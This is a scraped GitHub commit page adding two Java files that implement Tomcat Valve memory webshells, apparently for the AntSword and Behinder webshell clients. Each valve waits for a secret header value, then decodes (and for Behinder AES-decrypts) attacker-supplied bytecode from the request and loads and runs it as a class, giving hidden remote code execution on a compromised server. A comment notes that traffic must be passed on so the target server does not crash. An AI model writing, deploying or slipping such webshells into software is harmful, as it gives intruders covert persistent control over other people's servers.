-
Notifications
You must be signed in to change notification settings - Fork 192
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
15 changed files
with
711 additions
and
43 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
87 changes: 87 additions & 0 deletions
87
jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,87 @@ | ||
package jmg.antsword.memshell; | ||
|
||
import org.apache.catalina.Valve; | ||
import org.apache.catalina.connector.Request; | ||
import org.apache.catalina.connector.Response; | ||
|
||
import javax.servlet.ServletException; | ||
import java.io.IOException; | ||
import java.lang.reflect.Method; | ||
import java.net.URL; | ||
import java.net.URLClassLoader; | ||
|
||
|
||
public class AntSwordValve extends ClassLoader implements Valve { | ||
protected Valve next; | ||
protected boolean asyncSupported; | ||
|
||
public String pass; | ||
|
||
public String headerName; | ||
|
||
public String headerValue; | ||
|
||
public AntSwordValve() { | ||
} | ||
|
||
public AntSwordValve(ClassLoader c) { | ||
super(c); | ||
} | ||
|
||
public Class g(byte[] b) { | ||
return super.defineClass(b, 0, b.length); | ||
} | ||
|
||
@Override | ||
public Valve getNext() { | ||
return this.next; | ||
} | ||
|
||
@Override | ||
public void setNext(Valve valve) { | ||
this.next = valve; | ||
} | ||
|
||
@Override | ||
public boolean isAsyncSupported() { | ||
return this.asyncSupported; | ||
} | ||
|
||
@Override | ||
public void backgroundProcess() { | ||
} | ||
|
||
@Override | ||
public void invoke(Request request, Response response) throws IOException, ServletException { | ||
try { | ||
if (request.getHeader(headerName).contains(headerValue)) { | ||
String cls = request.getParameter(pass); | ||
if (cls != null) { | ||
|
||
byte[] data = base64Decode(cls); | ||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); | ||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); | ||
method.setAccessible(true); | ||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); | ||
clazz.newInstance().equals(new Object[]{request, response}); | ||
} | ||
}else { | ||
// 重要: 没有这一步会将目标服务器打挂 | ||
this.getNext().invoke(request, response); | ||
} | ||
} catch (Exception e) { | ||
this.getNext().invoke(request, response); | ||
} | ||
} | ||
|
||
public byte[] base64Decode(String str) throws Exception { | ||
try { | ||
Class clazz = Class.forName("sun.misc.BASE64Decoder"); | ||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); | ||
} catch (Exception var5) { | ||
Class clazz = Class.forName("java.util.Base64"); | ||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); | ||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
89 changes: 89 additions & 0 deletions
89
jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
package jmg.behinder.memshell; | ||
|
||
import org.apache.catalina.Valve; | ||
import org.apache.catalina.connector.Request; | ||
import org.apache.catalina.connector.Response; | ||
|
||
import javax.crypto.Cipher; | ||
import javax.crypto.spec.SecretKeySpec; | ||
import javax.servlet.ServletException; | ||
import javax.servlet.http.HttpSession; | ||
import java.io.IOException; | ||
import java.util.HashMap; | ||
import java.util.Map; | ||
|
||
|
||
public class BehinderValve extends ClassLoader implements Valve { | ||
protected Valve next; | ||
protected boolean asyncSupported; | ||
|
||
public String pass; | ||
|
||
public String headerName; | ||
|
||
public String headerValue; | ||
|
||
public BehinderValve() { | ||
} | ||
|
||
public BehinderValve(ClassLoader c) { | ||
super(c); | ||
} | ||
|
||
public Class g(byte[] b) { | ||
return super.defineClass(b, 0, b.length); | ||
} | ||
|
||
@Override | ||
public Valve getNext() { | ||
return this.next; | ||
} | ||
|
||
@Override | ||
public void setNext(Valve valve) { | ||
this.next = valve; | ||
} | ||
|
||
@Override | ||
public boolean isAsyncSupported() { | ||
return this.asyncSupported; | ||
} | ||
|
||
@Override | ||
public void backgroundProcess() { | ||
} | ||
|
||
@Override | ||
public void invoke(Request request, Response response) throws IOException, ServletException { | ||
try { | ||
if (request.getHeader(headerName).contains(headerValue)) { | ||
HttpSession session = (request.getSession()); | ||
Map obj = new HashMap(); | ||
obj.put("request", request); | ||
obj.put("response", response); | ||
obj.put("session", session); | ||
session.putValue("u", pass); | ||
Cipher c = Cipher.getInstance("AES"); | ||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); | ||
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); | ||
} else { | ||
// 重要: 没有这一步会将目标服务器打挂 | ||
this.getNext().invoke(request, response); | ||
} | ||
} catch (Exception e) { | ||
this.getNext().invoke(request, response); | ||
} | ||
|
||
} | ||
|
||
public byte[] base64Decode(String str) throws Exception { | ||
try { | ||
Class clazz = Class.forName("sun.misc.BASE64Decoder"); | ||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); | ||
} catch (Exception var5) { | ||
Class clazz = Class.forName("java.util.Base64"); | ||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); | ||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.